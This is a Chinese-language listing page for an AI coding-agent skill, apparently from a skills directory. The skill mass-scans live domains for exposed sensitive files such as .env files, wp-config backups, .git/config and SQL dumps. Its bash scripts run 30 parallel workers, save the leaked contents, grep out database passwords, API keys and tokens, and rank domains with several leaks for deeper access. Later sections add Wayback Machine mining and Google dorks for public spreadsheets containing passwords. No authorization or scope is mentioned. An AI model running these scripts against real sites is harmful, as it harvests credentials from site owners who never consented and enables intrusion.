关于 source-leak-hunt
source-leak-hunt 是一项安全测试技能,用于扫描在线站点暴露的敏感文件,并依据内容验证结果。它还介绍从泄漏文件提取凭据及过滤常见误报的方法。
主要功能
- 01扫描暴露的敏感文件
- 02按文件内容过滤结果
- 03从泄漏文件提取凭据
- 04识别存在多处泄漏的域名
- 05处理常见误报
适用场景
- 01审计在线域名的文件暴露情况
- 02批量检查站点是否泄漏凭据
- 03优先调查存在多处已验证泄漏的目标
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill source-leak-hunt安装后在 Claude Code 中输入/source-leak-hunt确认已加载。
详细介绍
源码泄露搜寻技能
批量扫描暴露的敏感文件(.env、.git/config、wp-config.php.bak、debug.log、backup.sql、phpinfo.php、Dockerfile 等),并通过内容过滤误报。源码泄露是第二常见的发现类型(约占目标的 7%),仅次于 WordPress 用户枚举。
使用时机
- 在
skill_view(name='wp-mass-recon')确认目标处于活动状态后。 - 对一批域名进行广泛扫描。
- 探测可助力更深入访问的凭据泄露情况。
- 配合
skill_view(name='js-secrets-extraction')检查客户端侧机密信息。
前置条件
- 带有 curl 的
terminal。 - 在线 URL 列表(来自 httpx 或 wp-mass-recon 阶段 1 的输出)。
- 持久化存储:
$OUTDIR/leaks/下的输出目录。
运行方法
# Quick scan single target (20 paths)
TARGET="https://example.com"
for path in .env .git/config wp-config.php.bak debug.log backup.sql info.php phpinfo.php \
.env.backup .env.local .env.production wp-config.php~ .git/HEAD .backup.sql \
docker-compose.yml Dockerfile .DS_Store robots.txt sitemap.xml; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$TARGET/$path")
[[ "$code" == "200" ]] && echo "HTTP 200: $TARGET/$path"
sleep 0.2
done
快速参考
| 路径 | 可泄露的信息 | 严重程度 |
|---|---|---|
.env | 数据库凭据、API 密钥、应用机密 | 严重 |
wp-config.php.bak | MySQL root 密码、盐值 | 严重 |
.git/config | 仓库 URL、凭据 | 高 |
debug.log | PHP 错误、服务器路径、SQL 查询 | 高 |
backup.sql | 完整数据库转储 | 严重 |
info.php / phpinfo.php | PHP 配置、disable_functions、服务器环境 | 高 |
docker-compose.yml | 服务架构、环境变量 | 中 |
Dockerfile | 构建配置、暴露的端口 | 低 |
.env.backup / .env.local | 与 .env 相同,名称不同 | 严重 |
wp-config.php~ | wp-config 的 Vim 交换文件 | 严重 |
.DS_Store | 目录列表(macOS) | 低 |
error_log | PHP 错误日志(可能有数 MB,包含大量路径/查询) | 高 |
操作流程
步骤 1 — 并行批量扫描
#!/bin/bash
URLS_FILE="$1" # One URL per line
OUTDIR="$OUTDIR/leaks"
mkdir -p "$OUTDIR"
PATHS=(
".env"
".git/config"
"wp-config.php.bak"
"debug.log"
"backup.sql"
"info.php"
"phpinfo.php"
".env.backup"
".env.local"
".env.production"
"wp-config.php~"
".git/HEAD"
"docker-compose.yml"
"Dockerfile"
".DS_Store"
"robots.txt"
"sitemap.xml"
"error_log"
"wp-content/debug.log"
".backup.sql"
)
# Content verification patterns (avoids SPA catch-all false positives)
declare -A PATTERNS
PATTERNS[".env"]='DB_|APP_|_KEY|_SECRET|DATABASE|PASSWORD|TOKEN'
PATTERNS["wp-config.php.bak"]='DB_NAME|DB_PASSWORD|AUTH_KEY'
PATTERNS[".git/config"]='\[core\]'
PATTERNS["debug.log"]='PHP|ERROR|WARNING|Stack trace'
PATTERNS["backup.sql"]='CREATE TABLE|INSERT INTO|DROP TABLE'
PATTERNS["info.php"]='PHP Version|phpinfo'
PATTERNS["phpinfo.php"]='PHP Version|phpinfo'
PATTERNS[".env.backup"]='DB_|APP_|_KEY|_SECRET'
PATTERNS[".env.local"]='DB_|APP_|_KEY|_SECRET'
PATTERNS[".env.production"]='DB_|APP_|_KEY|_SECRET'
PATTERNS["wp-config.php~"]='DB_NAME|DB_PASSWORD'
PATTERNS["error_log"]='PHP|ERROR|Stack trace'
scan_target() {
local url="$1"
local domain
domain=$(echo "$url" | sed 's|https\?://||' | sed 's|/.*||')
for path in "${PATHS[@]}"; do
local full_url="${url}/${path}"
local code
code=$(curl -sk -o /tmp/leak_check_$$.tmp -w "%{http_code}" --max-time 5 --connect-timeout 5 "$full_url" 2>/dev/null)
if [[ "$code" == "200" ]]; then
local content
content=$(head -c 2000 /tmp/leak_check_$$.tmp 2>/dev/null)
local pattern="${PATTERNS[$path]}"
if [[ -n "$pattern" ]] && echo "$content" | grep -qiE "$pattern"; then
echo "[LEAK] $full_url (VERIFIED: $path)"
echo "$full_url" >> "$OUTDIR/${domain}_leaks.txt"
cp /tmp/leak_check_$$.tmp "$OUTDIR/${domain}_${path//\//_}.content" 2>/dev/null
elif [[ -z "$pattern" ]]; then
# No pattern check — just log HTTP 200 (e.g., robots.txt)
local size=$(wc -c < /tmp/leak_check_$$.tmp)
if [[ "$size" -gt 50 ]]; then
echo "[INFO] $full_url (HTTP 200, ${size} bytes)"
echo "$full_url" >> "$OUTDIR/${domain}_leaks.txt"
fi
fi
fi
sleep 0.3
done
rm -f /tmp/leak_check_$$.tmp
}
export -f scan_target
export OUTDIR
export PATHS
# Run 30 parallel workers
cat "$URLS_FILE" | xargs -P 30 -I {} bash -c 'scan_target "{}"'
echo "[+] Done. Results in $OUTDIR/"
步骤 2 — 从泄露文件中提取凭据
# From .env files
grep -rhE '(DB_|APP_|_KEY|_SECRET|DATABASE|PASSWORD|TOKEN|SECRET)=' $OUTDIR/leaks/*.env*.content 2>/dev/null | sort -u
# From wp-config backups
grep -rhE 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST|AUTH_KEY' $OUTDIR/leaks/*wp-config* 2>/dev/null
# From .git/config
grep -rh 'url = ' $OUTDIR/leaks/*.git_config.content 2>/dev/null
# From SQL dumps
grep -rhE 'CREATE TABLE|INSERT INTO' $OUTDIR/leaks/*backup* $OUTDIR/leaks/*.sql* 2>/dev/null | head -20
步骤 3 — 找出存在多项泄露的目标(深入调查候选项)
for f in $OUTDIR/leaks/*_leaks.txt; do
count=$(wc -l < "$f")
[[ "$count" -ge 3 ]] && echo "$(basename "$f" _leaks.txt): $count leaks"
done | sort -t: -k2 -rn
注意事项
- 若不进行过滤,SPA 全路径回退会导致超过 70% 的结果为误报。 单页应用对任何路径都会返回包含 index.html 的 HTTP 200 响应。必须验证内容。
- CloudFront/S3 错误页面。 某些 CDN 会为缺失文件返回包含 XML 错误正文的 200 响应。请检查内容类型和正文。
- 大文件内容被截断。
error_log文件可能超过 1.7 MB。请分块获取,或使用curl -r 0-5000抽样。 - git/HEAD 误报。 某些主题/配置会让
.git/HEAD返回包含有效 git 哈希的 200 响应。请先验证.git/config。 - 停放/待售域名对所有路径都返回 HTTP 200。 通用停放页面会对 /.env、/.git/config、/info.php 等路径提供内容,且不处理错误——每个路径都会返回相同的落地页。可以检查多个不相关路径是否返回完全相同的内容(相同的正文哈希、相同的
<title>,或相同的关键词,如“for sale”或“parked”),以识别此类域名。添加提前退出逻辑:如果 /robots.txt 和 /.env 都返回 200,且 HTML 几乎相同,则将域名标记为停放状态,并跳过后续源码泄露检查。
验证
- 每个
.env泄露都必须至少包含以下一项:DB_、APP_、_KEY、_SECRET、PASSWORD、TOKEN。 - 每个
wp-config.php.bak泄露都必须包含DB_NAME和DB_PASSWORD。 - 每个
.git/config泄露都必须包含[core]段标题。 - 每个 SQL 备份都必须包含 DDL(
CREATE TABLE)或 DML(INSERT INTO)语句。 - 记录所有已验证的泄露,并附上时间戳和 HTTP 响应大小。
阶段 6 — 备份文件发现
# bfac — multi-level backup file detection
bfac --url https://target.com \
--detection-technique all \
--level 3 \
--exclude-status-codes 404,500
# Wayback Machine — historical sensitive files
waybackurls https://target.com | grep -iE \
"\.(xls|xlsx|csv|sql|db|bak|backup|old|tar\.gz|tgz|zip|7z|rar|pdf|pem|key|crt|env|json|yml|yaml|conf|config|git|htpasswd|log|dump|DS_Store)" \
| sort -u > sensitive_wayback.txt
# Check which are still accessible
cat sensitive_wayback.txt | httpx -silent -mc 200 -o accessible_sensitive.txt
# Common backup patterns to probe
for ext in bak old backup zip tar.gz tgz sql dump; do
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/backup.$ext" | head -1
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/site.$ext" | head -1
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/target.$ext" | head -1
sleep 0.3
done
阶段 7 — Google 服务泄露搜索语法探测
# Google Sheets — internal spreadsheets often left public
# Manual search:
# site:docs.google.com/spreadsheets "target.com"
# site:docs.google.com/spreadsheets "@target.com"
# site:docs.google.com/spreadsheets "password" "target.com"
# Google Drive files
# site:drive.google.com "target.com" "confidential"
# Firebase/Firestore URLs in public search results
# site:firebaseio.com "target.com"
# site:firestore.googleapis.com "target-app"
# GCP buckets
# site:storage.googleapis.com "target"
# site:storage.cloud.google.com "target"
评论
支持 Markdown